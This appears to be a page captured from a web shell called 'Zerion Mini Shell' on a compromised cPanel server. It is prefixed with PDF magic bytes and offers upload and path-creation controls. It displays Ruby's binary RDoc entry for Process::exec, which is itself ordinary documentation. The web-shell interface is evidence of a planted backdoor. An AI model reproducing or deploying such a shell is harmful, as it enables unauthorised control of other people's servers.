%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Process/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Process/exec-c.ri

U:RDoc::AnyMethod[iI"	exec:ETI"Process::exec;TT:publico:RDoc::Markup::Document:@parts[&o:RDoc::Markup::Paragraph;	[I"QReplaces the current process by running the given external _command_, which ;TI")can take one of the following forms:;To:RDoc::Markup::BlankLineo:RDoc::Markup::List:
@type:
LABEL:@items[o:RDoc::Markup::ListItem:@label[I"#<code>exec(commandline)</code>;T;	[o;
;	[I">command line string which is passed to the standard shell;To;;[I"*<code>exec(cmdname, arg1, ...)</code>;T;	[o;
;	[I"6command name and one or more arguments (no shell);To;;[I"3<code>exec([cmdname, argv0], arg1, ...)</code>;T;	[o;
;	[I"@command name, argv[0] and zero or more arguments (no shell);T@o;
;	[I"QIn the first form, the string is taken as a command line that is subject to ;TI"+shell expansion before being executed.;T@o;
;	[I"RThe standard shell always means <code>"/bin/sh"</code> on Unix-like systems, ;TI"+same as <code>ENV["RUBYSHELL"]</code> ;TI"H(or <code>ENV["COMSPEC"]</code> on Windows NT series), and similar.;T@o;
;	[I"NIf the string from the first form (<code>exec("command")</code>) follows ;TI"these simple rules:;T@o;;
:BULLET;[o;;0;	[o;
;	[I"no meta characters;To;;0;	[o;
;	[I"3no shell reserved word and no special built-in;To;;0;	[o;
;	[I"4Ruby invokes the command directly without shell;T@o;
;	[I"PYou can force shell invocation by adding ";" to the string (because ";" is ;TI"a meta character).;T@o;
;	[I";Note that this behavior is observable by pid obtained ;TI"Q(return value of spawn() and IO#pid for IO.popen) is the pid of the invoked ;TI"command, not shell.;T@o;
;	[I"PIn the second form (<code>exec("command1", "arg1", ...)</code>), the first ;TI"Qis taken as a command name and the rest are passed as parameters to command ;TI"with no shell expansion.;T@o;
;	[	I"OIn the third form (<code>exec(["command", "argv0"], "arg1", ...)</code>), ;TI"Mstarting a two-element array at the beginning of the command, the first ;TI"Oelement is the command to be executed, and the second argument is used as ;TI"Kthe <code>argv[0]</code> value, which may show up in process listings.;T@o;
;	[I"MIn order to execute the command, one of the <code>exec(2)</code> system ;TI"Pcalls are used, so the running command may inherit some of the environment ;TI"?of the original program (including open file descriptors).;T@o;
;	[I"PThis behavior is modified by the given +env+ and +options+ parameters. See ;TI"::spawn for details.;T@o;
;	[I"PIf the command fails to execute (typically <code>Errno::ENOENT</code> when ;TI"=it was not found) a SystemCallError exception is raised.;T@o;
;	[I"QThis method modifies process attributes according to given +options+ before ;TI"N<code>exec(2)</code> system call. See ::spawn for more details about the ;TI"given +options+.;T@o;
;	[I"NThe modified attributes may be retained when <code>exec(2)</code> system ;TI"call fails.;T@o;
;	[I":For example, hard resource limits are not restorable.;T@o;
;	[I"OConsider to create a child process using ::spawn or Kernel#system if this ;TI"is not acceptable.;T@o:RDoc::Markup::Verbatim;	[
I"Eexec "echo *"       # echoes list of files in current directory
;TI"# never get here
;TI"
;TI".exec "echo", "*"    # echoes an asterisk
;TI"# never get here;T:@format0:
@fileI"process.c;T:0@omit_headings_from_table_of_contents_below0I"(exec([env,] command... [,options])
;T0[I"(*args);T@}FI"Process;TcRDoc::NormalModule00

Zerion Mini Shell 1.0